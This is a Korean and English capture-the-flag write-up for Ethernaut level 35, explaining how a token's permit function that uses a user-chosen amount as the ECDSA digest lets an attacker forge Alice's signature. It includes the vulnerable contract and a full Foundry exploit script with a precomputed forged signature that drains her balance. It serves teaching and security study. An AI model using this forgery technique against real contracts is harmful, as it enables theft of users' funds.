Ethernaut 35 Elliptic Token
Ethernaut 35 Elliptic TokenEthernaut 35 Elliptic TokenEthernaut 35 Elliptic Token 문제 풀이Ethernaut 35 Elliptic Token writeup
Contents
문제
지문
BOB created and owns a new ERC20 token with an elliptic curve–based
signed voucher redemption system called EllipticToken ($ETK). Bob can
create vouchers off-chain that can be redeemed on-chain for $ETK. The
contract also includes a permit system based on elliptic curve
signatures.
Bob is a lazy developer and “optimized” some steps of the ECDSA algorithm. Can you find the flaw?
Your goal is to steal the $ETK tokens that ALICE (0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e) just redeemed.
Things that might help:
- Look for any missing step in the Elliptic Curve Digital Signature Algorithm (ECDSA).
Good luck. Elliptic curves do not forgive domain confusion.
코드
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol";
import {ECDSA} from "openzeppelin-contracts-08/utils/cryptography/ECDSA.sol";
import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract EllipticToken is Ownable, ERC20 {
error HashAlreadyUsed();
error InvalidOwner();
error InvalidReceiver();
error InvalidSpender();
constructor() ERC20("EllipticToken", "ETK") {}
mapping(bytes32 => bool) public usedHashes;
function redeemVoucher(
uint256 amount,
address receiver,
bytes32 salt,
bytes memory ownerSignature,
bytes memory receiverSignature
) external {
bytes32 voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
require(!usedHashes[voucherHash], HashAlreadyUsed());
// Verify that the owner emitted the voucher
require(ECDSA.recover(voucherHash, ownerSignature) == owner(), InvalidOwner());
// Verify that the receiver accepted the voucher
require(ECDSA.recover(voucherHash, receiverSignature) == receiver, InvalidReceiver());
// Nullify the voucher
usedHashes[voucherHash] = true;
// Mint the tokens
_mint(receiver, amount);
}
function permit(uint256 amount, address spender, bytes memory tokenOwnerSignature, bytes memory spenderSignature)
external
{
bytes32 permitHash = keccak256(abi.encode(amount));
require(!usedHashes[permitHash], HashAlreadyUsed());
require(!usedHashes[bytes32(amount)], HashAlreadyUsed());
// Recover the token owner that emitted the permit
address tokenOwner = ECDSA.recover(bytes32(amount), tokenOwnerSignature);
// Verify that the spender accepted the permit
bytes32 permitAcceptHash = keccak256(abi.encodePacked(tokenOwner, spender, amount));
require(ECDSA.recover(permitAcceptHash, spenderSignature) == spender, InvalidSpender());
// Nullify the permit
usedHashes[permitHash] = true;
// Approve the spender
_approve(tokenOwner, spender, amount);
}
}배경지식
ECDSA에서는 개인키를 d, 공개키를 Q=dG 라고 하자. 메시지 해시를 e라고 할 때, 서명은 보통 (r, s, v)로 표현된다. 여기서 r은 nonce k로 만든 점 R=kG의 x좌표에서 나오고, s는 다음 식으로 만들어진다.
검증자는 개인키를 몰라도 공개키 Q, 메시지 해시 e, 서명 (r, s)만으로 서명을 확인할 수 있다. 먼저 w = s^{-1}를 계산하고, 다음 두 값을 만든다.
그리고 점 R'을 계산한다.
검증은 R'의 x좌표에서 얻은 값이 r과 같은지 확인하는 방식이다. 즉 ECDSA 검증은 최종적으로 “이 (e, r, s) 조합이 공개키 Q에 대해 같은 점을 만들 수 있는가”를 보는 구조다.
ECDSA에서 메시지 해시 e를 애플리케이션이 안전하게 고정하지 않으면 문제가 생긴다. 공격자가 검증식에 들어갈 e까지 고를 수 있으면, 개인키 없이도 어떤 공개키 Q에 대해 유효한 (e, r, s) 조합을 만들 수 있다.
임의의 u1, u2를 고르고 다음 점을 계산한다고 하자.
그 다음 R의 x좌표에서 r을 얻고, 다음처럼 s와 e를 맞춘다.
그러면 검증 과정에서는 e / s = u1, r / s = u2가 되므로 다시 같은 R을 만들게 된다. 그러면 (r, s)는 메시지 해시 e에 대한 유효한 서명처럼 보인다. 특정 의미를 가진 문서에 서명한 것이 아니라, 검증식을 만족하는 값을 역으로 맞춘 것이다.
정상적인 permit이라면 “누가, 누구에게, 얼마를, 어떤 컨트랙트에서, 어떤 chain에서, 어떤 nonce로 허락하는가”가 모두 메시지에 들어가야 한다. ERC-2612나 EIP-712가 이런 구조를 쓰는 이유가 이 때문이다.
permit()은 토큰 소유자 서명을 검증할 때 bytes32(amount) 자체를 메시지 해시로 쓴다. amount는 사용자가 고르는 값인데, 이 값이 곧 ECDSA digest가 된다. 즉 permit의 의미와 서명 digest 사이에 도메인 분리가 없다.
문제 코드 분석
먼저 redeemVoucher()에서 얻을 수 있는 정보다.
function redeemVoucher(
uint256 amount,
address receiver,
bytes32 salt,
bytes memory ownerSignature,
bytes memory receiverSignature
) external {
bytes32 voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
require(!usedHashes[voucherHash], HashAlreadyUsed());
require(ECDSA.recover(voucherHash, ownerSignature) == owner(), InvalidOwner());
require(ECDSA.recover(voucherHash, receiverSignature) == receiver, InvalidReceiver());
usedHashes[voucherHash] = true;
_mint(receiver, amount);
}redeemVoucher()는 voucherHash에 대해 Bob의 서명과 receiver의 서명을 확인한다. 문제 설명에 따르면 Alice는 이미 voucher를 redeem했다. 해당 트랜잭션 calldata에는 Alice의 receiverSignature가 들어 있고, amount, receiver, salt로 voucherHash도 다시 계산할 수 있다.
이 정보가 있으면 오프체인에서 Alice의 공개키 Q를 복구할 수 있다. Solidity의 ECDSA.recover는 주소만 돌려주지만, 같은 (voucherHash, receiverSignature)를 오프체인 ECDSA 라이브러리에 넣으면 공개키까지 얻을 수 있다. 여기서 얻은 Q가 위조 서명을 만들 때 필요한 공개키다.
다음은 permit()에서 tokenOwner를 복구하는 부분이다.
function permit(uint256 amount, address spender, bytes memory tokenOwnerSignature, bytes memory spenderSignature)
external
{
bytes32 permitHash = keccak256(abi.encode(amount));
require(!usedHashes[permitHash], HashAlreadyUsed());
require(!usedHashes[bytes32(amount)], HashAlreadyUsed());
address tokenOwner = ECDSA.recover(bytes32(amount), tokenOwnerSignature);
bytes32 permitAcceptHash = keccak256(abi.encodePacked(tokenOwner, spender, amount));
require(ECDSA.recover(permitAcceptHash, spenderSignature) == spender, InvalidSpender());
usedHashes[permitHash] = true;
_approve(tokenOwner, spender, amount);
}여기서 tokenOwner는 ECDSA.recover(bytes32(amount), tokenOwnerSignature)로 계산된다. 즉 amount가 단순 승인 수량이 아니라 ECDSA 메시지 해시 역할까지 한다.
공격자는 Alice의 공개키 Q에 대해 유효한 (e, r, s, v)를 만든 뒤, amount = uint256(e)로 넣으면 된다. 그러면 ECDSA.recover(bytes32(amount), tokenOwnerSignature)는 Alice 주소를 반환한다. 컨트랙트는 Alice가 amount만큼 permit을 발급했다고 착각한다.
spenderSignature 쪽은 직접 만들 수 있다.
bytes32 permitAcceptHash = keccak256(abi.encodePacked(tokenOwner, spender, amount));
require(ECDSA.recover(permitAcceptHash, spenderSignature) == spender, InvalidSpender());두 번째 서명은 spender가 permit을 받아들였는지 확인하는 용도다. 우리는 spender를 player 주소로 넣을 것이고 player의 개인키를 가지고 있다. keccak256(abi.encodePacked(ALICE, player, amount))에 대한 서명은 직접 만들 수 있다.
즉 필요한 것은 Alice의 개인키가 아니라, Alice로 복구되는 tokenOwnerSignature와 player가 직접 만든 spenderSignature다.
마지막은 usedHashes 체크다.
bytes32 permitHash = keccak256(abi.encode(amount));
require(!usedHashes[permitHash], HashAlreadyUsed());
require(!usedHashes[bytes32(amount)], HashAlreadyUsed());redeemVoucher()가 사용 처리한 값은 voucherHash다. exploit에서는 새로 만든 e를 amount로 쓰므로 bytes32(amount)와 keccak256(abi.encode(amount))는 기존 voucher에서 사용된 hash와 다르다.
또한 amount는 실제 Alice 잔액보다 훨씬 큰 값이다. _approve(tokenOwner, spender, amount)는 큰 allowance를 열어주고, 이후에는 Alice의 실제 잔액만큼만 transferFrom()으로 가져오면 된다.
풀이
Alice가 이미 redeem한 트랜잭션에서 receiverSignature와 voucherHash를 얻어 Alice의 공개키 Q를 복구한다. 그 다음 위에서 본 방식대로 Q에 대해 유효한 새 메시지 해시 e와 서명 (r, s, v)를 만든다.
이 풀이에서는 오프체인에서 미리 다음 값을 계산해두었다.
uint256 private constant FORGED_AMOUNT =
0xebf90284f84cb6e234a8ecf9393afda9c0ede46f4d6df12bd11a4757c42903c0;
bytes private constant ALICE_FORGED_SIGNATURE =
hex"0ab5b8262a97582b1971d68211e37be02ac5d16339cb0278edffc0a465d64aac7b06ed5cd7bc5798089feda2fac7b577ef49e1f2f84a6d2392ff26078f2192a01c";FORGED_AMOUNT는 permit에 들어갈 amount이면서 동시에 bytes32(amount)로 해석되는 ECDSA digest다. ALICE_FORGED_SIGNATURE는 이 digest에 대해 Alice 주소로 복구되는 서명이다.
이제 player는 자기 개인키로 spenderSignature만 만들면 된다. permit() 호출이 성공하면 Alice가 player에게 매우 큰 allowance를 준 상태가 되고, transferFrom(ALICE, player, aliceBalance)로 Alice의 ETK를 가져올 수 있다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "forge-std/Script.sol";
interface IEllipticToken {
function balanceOf(address account) external view returns (uint256);
function permit(uint256 amount, address spender, bytes calldata tokenOwnerSignature, bytes calldata spenderSignature)
external;
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract Sol35 is Script {
address private constant ALICE = 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e;
uint256 private constant FORGED_AMOUNT =
0xebf90284f84cb6e234a8ecf9393afda9c0ede46f4d6df12bd11a4757c42903c0;
bytes private constant ALICE_FORGED_SIGNATURE =
hex"0ab5b8262a97582b1971d68211e37be02ac5d16339cb0278edffc0a465d64aac7b06ed5cd7bc5798089feda2fac7b577ef49e1f2f84a6d2392ff26078f2192a01c";
function run() external {
uint256 privateKey = vm.envUint("PRIVATE_KEY");
address player = vm.addr(privateKey);
IEllipticToken token = IEllipticToken(vm.envAddress("ELLIPTIC_TOKEN_INSTANCE"));
uint256 aliceBalance = token.balanceOf(ALICE);
bytes32 permitAcceptHash = keccak256(abi.encodePacked(ALICE, player, FORGED_AMOUNT));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, permitAcceptHash);
bytes memory spenderSignature = abi.encodePacked(r, s, v);
vm.startBroadcast(privateKey);
token.permit(FORGED_AMOUNT, player, ALICE_FORGED_SIGNATURE, spenderSignature);
require(token.transferFrom(ALICE, player, aliceBalance), "transferFrom failed");
require(token.balanceOf(ALICE) == 0, "alice still has ETK");
vm.stopBroadcast();
}
}
Challenge
Prompt
BOB created and owns a new ERC20 token with an elliptic curve–based
signed voucher redemption system called EllipticToken ($ETK). Bob can
create vouchers off-chain that can be redeemed on-chain for $ETK. The
contract also includes a permit system based on elliptic curve
signatures.
Bob is a lazy developer and “optimized” some steps of the ECDSA algorithm. Can you find the flaw?
Your goal is to steal the $ETK tokens that ALICE (0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e) just redeemed.
Things that might help:
- Look for any missing step in the Elliptic Curve Digital Signature Algorithm (ECDSA).
Good luck. Elliptic curves do not forgive domain confusion.
Code
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol";
import {ECDSA} from "openzeppelin-contracts-08/utils/cryptography/ECDSA.sol";
import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract EllipticToken is Ownable, ERC20 {
error HashAlreadyUsed();
error InvalidOwner();
error InvalidReceiver();
error InvalidSpender();
constructor() ERC20("EllipticToken", "ETK") {}
mapping(bytes32 => bool) public usedHashes;
function redeemVoucher(
uint256 amount,
address receiver,
bytes32 salt,
bytes memory ownerSignature,
bytes memory receiverSignature
) external {
bytes32 voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
require(!usedHashes[voucherHash], HashAlreadyUsed());
// Verify that the owner emitted the voucher
require(ECDSA.recover(voucherHash, ownerSignature) == owner(), InvalidOwner());
// Verify that the receiver accepted the voucher
require(ECDSA.recover(voucherHash, receiverSignature) == receiver, InvalidReceiver());
// Nullify the voucher
usedHashes[voucherHash] = true;
// Mint the tokens
_mint(receiver, amount);
}
function permit(uint256 amount, address spender, bytes memory tokenOwnerSignature, bytes memory spenderSignature)
external
{
bytes32 permitHash = keccak256(abi.encode(amount));
require(!usedHashes[permitHash], HashAlreadyUsed());
require(!usedHashes[bytes32(amount)], HashAlreadyUsed());
// Recover the token owner that emitted the permit
address tokenOwner = ECDSA.recover(bytes32(amount), tokenOwnerSignature);
// Verify that the spender accepted the permit
bytes32 permitAcceptHash = keccak256(abi.encodePacked(tokenOwner, spender, amount));
require(ECDSA.recover(permitAcceptHash, spenderSignature) == spender, InvalidSpender());
// Nullify the permit
usedHashes[permitHash] = true;
// Approve the spender
_approve(tokenOwner, spender, amount);
}
}Background
In ECDSA, let the private key be d and the public key be Q=dG. With the message hash as e, a signature is usually represented as (r, s, v). Here r comes from the x-coordinate of the point R=kG built from the nonce k, and s is produced by the following equation.
A verifier can check the signature without knowing the private key, using only the public key Q, the message hash e, and the signature (r, s). First compute w = s^{-1}, then form the two values:
Then compute the point R'.
Verification consists of checking that the value taken from R''s x-coordinate equals r. In other words, ECDSA verification ultimately asks "can this (e, r, s) combination produce the same point with respect to the public key Q?"
In ECDSA, a problem arises if the application does not securely fix the message hash e. If the attacker can also choose the e that goes into the verification equation, then even without the private key they can build a valid (e, r, s) combination for any public key Q.
Suppose we pick arbitrary u1, u2 and compute the point:
Then obtain r from R's x-coordinate and fit s and e as follows.
Then during verification we get e / s = u1 and r / s = u2, so we reconstruct the same R. As a result (r, s) looks like a valid signature over the message hash e. We did not sign a document with a particular meaning; we worked backward to fit values that satisfy the verification equation.
For a proper permit, the message should include "who allows whom, how much, on which contract, on which chain, with which nonce." This is exactly why ERC-2612 and EIP-712 use this kind of structure.
When permit() verifies the token owner's signature, it uses bytes32(amount) itself as the message hash. amount is a value the user chooses, and that very value becomes the ECDSA digest. In other words, there is no domain separation between the meaning of the permit and the signature digest.
Challenge code analysis
First, the information we can get from redeemVoucher():
function redeemVoucher(
uint256 amount,
address receiver,
bytes32 salt,
bytes memory ownerSignature,
bytes memory receiverSignature
) external {
bytes32 voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
require(!usedHashes[voucherHash], HashAlreadyUsed());
require(ECDSA.recover(voucherHash, ownerSignature) == owner(), InvalidOwner());
require(ECDSA.recover(voucherHash, receiverSignature) == receiver, InvalidReceiver());
usedHashes[voucherHash] = true;
_mint(receiver, amount);
}redeemVoucher() checks Bob's signature and the receiver's signature over voucherHash. According to the challenge description, Alice has already redeemed a voucher. That transaction's calldata contains Alice's receiverSignature, and we can also recompute voucherHash from amount, receiver, and salt.
With this information we can recover Alice's public key Q off-chain. Solidity's ECDSA.recover only returns an address, but feeding the same (voucherHash, receiverSignature) into an off-chain ECDSA library also gives the public key. The Q obtained here is the public key we need to forge signatures.
The part of permit() that recovers tokenOwner is below.
function permit(uint256 amount, address spender, bytes memory tokenOwnerSignature, bytes memory spenderSignature)
external
{
bytes32 permitHash = keccak256(abi.encode(amount));
require(!usedHashes[permitHash], HashAlreadyUsed());
require(!usedHashes[bytes32(amount)], HashAlreadyUsed());
address tokenOwner = ECDSA.recover(bytes32(amount), tokenOwnerSignature);
bytes32 permitAcceptHash = keccak256(abi.encodePacked(tokenOwner, spender, amount));
require(ECDSA.recover(permitAcceptHash, spenderSignature) == spender, InvalidSpender());
usedHashes[permitHash] = true;
_approve(tokenOwner, spender, amount);
}Here tokenOwner is computed as ECDSA.recover(bytes32(amount), tokenOwnerSignature). That is, amount is not just an approval quantity but also plays the role of the ECDSA message hash.
The attacker builds a valid (e, r, s, v) for Alice's public key Q, then sets amount = uint256(e). Then ECDSA.recover(bytes32(amount), tokenOwnerSignature) returns Alice's address. The contract is fooled into thinking Alice issued a permit for amount.
The spenderSignature side we can build ourselves.
bytes32 permitAcceptHash = keccak256(abi.encodePacked(tokenOwner, spender, amount));
require(ECDSA.recover(permitAcceptHash, spenderSignature) == spender, InvalidSpender());The second signature is there to confirm that the spender accepted the permit. We will put the player's address as the spender, and we hold the player's private key. We can directly produce a signature over keccak256(abi.encodePacked(ALICE, player, amount)).
So what we need is not Alice's private key but a tokenOwnerSignature that recovers to Alice, plus a spenderSignature the player builds directly.
Finally, the usedHashes check:
bytes32 permitHash = keccak256(abi.encode(amount));
require(!usedHashes[permitHash], HashAlreadyUsed());
require(!usedHashes[bytes32(amount)], HashAlreadyUsed());The value that redeemVoucher() marked as used is voucherHash. Since the exploit uses the freshly built e as amount, both bytes32(amount) and keccak256(abi.encode(amount)) differ from the hash used in the existing voucher.
Also, amount is a value far larger than Alice's actual balance. _approve(tokenOwner, spender, amount) opens a large allowance, and after that we just pull out exactly Alice's real balance via transferFrom().
Solution
From the transaction Alice already redeemed, obtain the receiverSignature and voucherHash, and recover Alice's public key Q. Then, as shown above, build a new message hash e and signature (r, s, v) that are valid with respect to Q.
In this solution, the following values were precomputed off-chain.
uint256 private constant FORGED_AMOUNT =
0xebf90284f84cb6e234a8ecf9393afda9c0ede46f4d6df12bd11a4757c42903c0;
bytes private constant ALICE_FORGED_SIGNATURE =
hex"0ab5b8262a97582b1971d68211e37be02ac5d16339cb0278edffc0a465d64aac7b06ed5cd7bc5798089feda2fac7b577ef49e1f2f84a6d2392ff26078f2192a01c";FORGED_AMOUNT is the amount that goes into the permit and simultaneously the ECDSA digest interpreted as bytes32(amount). ALICE_FORGED_SIGNATURE is the signature that recovers to Alice's address over this digest.
Now the player only needs to build the spenderSignature with its own private key. If the permit() call succeeds, Alice ends up having granted the player a very large allowance, and we can pull Alice's ETK with transferFrom(ALICE, player, aliceBalance).
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "forge-std/Script.sol";
interface IEllipticToken {
function balanceOf(address account) external view returns (uint256);
function permit(uint256 amount, address spender, bytes calldata tokenOwnerSignature, bytes calldata spenderSignature)
external;
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract Sol35 is Script {
address private constant ALICE = 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e;
uint256 private constant FORGED_AMOUNT =
0xebf90284f84cb6e234a8ecf9393afda9c0ede46f4d6df12bd11a4757c42903c0;
bytes private constant ALICE_FORGED_SIGNATURE =
hex"0ab5b8262a97582b1971d68211e37be02ac5d16339cb0278edffc0a465d64aac7b06ed5cd7bc5798089feda2fac7b577ef49e1f2f84a6d2392ff26078f2192a01c";
function run() external {
uint256 privateKey = vm.envUint("PRIVATE_KEY");
address player = vm.addr(privateKey);
IEllipticToken token = IEllipticToken(vm.envAddress("ELLIPTIC_TOKEN_INSTANCE"));
uint256 aliceBalance = token.balanceOf(ALICE);
bytes32 permitAcceptHash = keccak256(abi.encodePacked(ALICE, player, FORGED_AMOUNT));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, permitAcceptHash);
bytes memory spenderSignature = abi.encodePacked(r, s, v);
vm.startBroadcast(privateKey);
token.permit(FORGED_AMOUNT, player, ALICE_FORGED_SIGNATURE, spenderSignature);
require(token.transferFrom(ALICE, player, aliceBalance), "transferFrom failed");
require(token.balanceOf(ALICE) == 0, "alice still has ETK");
vm.stopBroadcast();
}
}